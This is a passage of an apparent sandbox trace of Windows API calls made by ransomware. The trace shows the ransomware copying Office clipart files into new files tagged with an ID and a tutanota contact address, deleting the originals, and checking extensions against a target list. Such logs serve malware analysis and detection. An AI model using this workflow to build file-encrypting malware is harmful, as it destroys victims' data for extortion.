liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.796] SetEndOfFile (hFile=0x1d8) returned 1 [0224.797] CloseHandle (hObject=0x1d8) returned 1 [0224.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0224.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString=".doc") returned 4 [0224.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString=".docx") returned 5 [0224.798] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0224.798] lstrlenW (lpString=".pdf") returned 4 [0224.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString=".xls") returned 4 [0224.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.798] lstrlenW (lpString=".xlsx") returned 5 [0224.798] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0224.798] lstrlenW (lpString=".ppt") returned 4 [0224.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString=".zip") returned 4 [0224.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.798] lstrlenW (lpString=".rar") returned 4 [0224.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString=".bz2") returned 4 [0224.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString=".7z") returned 3 [0224.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString=".dbf") returned 4 [0224.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString=".1cd") returned 4 [0224.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0224.798] lstrlenW (lpString=".jpg") returned 4 [0224.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.798] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16596) returned 1 [0224.798] CloseHandle (hObject=0x1d8) returned 1 [0224.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0224.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.799] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.799] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.799] GetLastError () returned 0x0 [0224.800] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x40d4, lpOverlapped=0x0) returned 1 [0224.814] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0224.815] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.815] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.815] SetEndOfFile (hFile=0x218) returned 1 [0224.816] CloseHandle (hObject=0x218) returned 1 [0224.816] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.816] SetEndOfFile (hFile=0x1d8) returned 1 [0224.816] CloseHandle (hObject=0x1d8) returned 1 [0224.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString=".doc") returned 4 [0224.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString=".docx") returned 5 [0224.817] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0224.817] lstrlenW (lpString=".pdf") returned 4 [0224.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString=".xls") returned 4 [0224.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.817] lstrlenW (lpString=".xlsx") returned 5 [0224.817] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0224.817] lstrlenW (lpString=".ppt") returned 4 [0224.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString=".zip") returned 4 [0224.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.817] lstrlenW (lpString=".rar") returned 4 [0224.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString=".bz2") returned 4 [0224.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString=".7z") returned 3 [0224.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString=".dbf") returned 4 [0224.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString=".1cd") returned 4 [0224.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0224.817] lstrlenW (lpString=".jpg") returned 4 [0224.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.818] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=24377) returned 1 [0224.818] CloseHandle (hObject=0x1d8) returned 1 [0224.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0224.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.818] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.819] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.819] GetLastError () returned 0x0 [0224.819] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x5f39, lpOverlapped=0x0) returned 1 [0224.852] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0224.853] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.853] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.853] SetEndOfFile (hFile=0x218) returned 1 [0224.853] CloseHandle (hObject=0x218) returned 1 [0224.853] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.853] SetEndOfFile (hFile=0x1d8) returned 1 [0224.854] CloseHandle (hObject=0x1d8) returned 1 [0224.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0224.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString=".doc") returned 4 [0224.855] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.855] lstrlenW (lpString=".docx") returned 5 [0224.855] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0224.855] lstrlenW (lpString=".pdf") returned 4 [0224.855] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.855] lstrlenW (lpString=".xls") returned 4 [0224.855] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.855] lstrlenW (lpString=".xlsx") returned 5 [0224.855] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0224.855] lstrlenW (lpString=".ppt") returned 4 [0224.855] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString=".zip") returned 4 [0224.855] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.855] lstrlenW (lpString=".rar") returned 4 [0224.855] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.855] lstrlenW (lpString=".bz2") returned 4 [0224.855] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.855] lstrlenW (lpString=".7z") returned 3 [0224.855] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString=".dbf") returned 4 [0224.855] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString=".1cd") returned 4 [0224.855] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0224.855] lstrlenW (lpString=".jpg") returned 4 [0224.855] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.856] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=18258) returned 1 [0224.856] CloseHandle (hObject=0x1d8) returned 1 [0224.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0224.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.856] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.857] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.857] GetLastError () returned 0x0 [0224.857] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4752, lpOverlapped=0x0) returned 1 [0224.879] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4760, lpOverlapped=0x0) returned 1 [0224.879] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.879] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.880] SetEndOfFile (hFile=0x218) returned 1 [0224.880] CloseHandle (hObject=0x218) returned 1 [0224.880] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.880] SetEndOfFile (hFile=0x1d8) returned 1 [0224.880] CloseHandle (hObject=0x1d8) returned 1 [0224.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString=".doc") returned 4 [0224.881] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.881] lstrlenW (lpString=".docx") returned 5 [0224.881] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0224.881] lstrlenW (lpString=".pdf") returned 4 [0224.881] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.881] lstrlenW (lpString=".xls") returned 4 [0224.881] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.881] lstrlenW (lpString=".xlsx") returned 5 [0224.881] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0224.881] lstrlenW (lpString=".ppt") returned 4 [0224.881] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString=".zip") returned 4 [0224.881] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.881] lstrlenW (lpString=".rar") returned 4 [0224.881] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.881] lstrlenW (lpString=".bz2") returned 4 [0224.881] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.881] lstrlenW (lpString=".7z") returned 3 [0224.881] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString=".dbf") returned 4 [0224.881] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString=".1cd") returned 4 [0224.881] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0224.881] lstrlenW (lpString=".jpg") returned 4 [0224.881] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.882] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=73214) returned 1 [0224.882] CloseHandle (hObject=0x1d8) returned 1 [0224.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0224.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.883] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.883] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.883] GetLastError () returned 0x0 [0224.883] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0224.951] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0224.952] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.952] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.952] SetEndOfFile (hFile=0x218) returned 1 [0224.953] CloseHandle (hObject=0x218) returned 1 [0224.953] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.953] SetEndOfFile (hFile=0x1d8) returned 1 [0224.954] CloseHandle (hObject=0x1d8) returned 1 [0224.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0224.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.954] lstrlenW (lpString=".doc") returned 4 [0224.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.954] lstrlenW (lpString=".docx") returned 5 [0224.954] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0224.954] lstrlenW (lpString=".pdf") returned 4 [0224.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.954] lstrlenW (lpString=".xls") returned 4 [0224.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.954] lstrlenW (lpString=".xlsx") returned 5 [0224.954] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0224.954] lstrlenW (lpString=".ppt") returned 4 [0224.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.954] lstrlenW (lpString=".zip") returned 4 [0224.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.954] lstrlenW (lpString=".rar") returned 4 [0224.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.954] lstrlenW (lpString=".bz2") returned 4 [0224.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.955] lstrlenW (lpString=".7z") returned 3 [0224.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.955] lstrlenW (lpString=".dbf") returned 4 [0224.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.955] lstrlenW (lpString=".1cd") returned 4 [0224.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0224.955] lstrlenW (lpString=".jpg") returned 4 [0224.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.956] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=13874) returned 1 [0224.956] CloseHandle 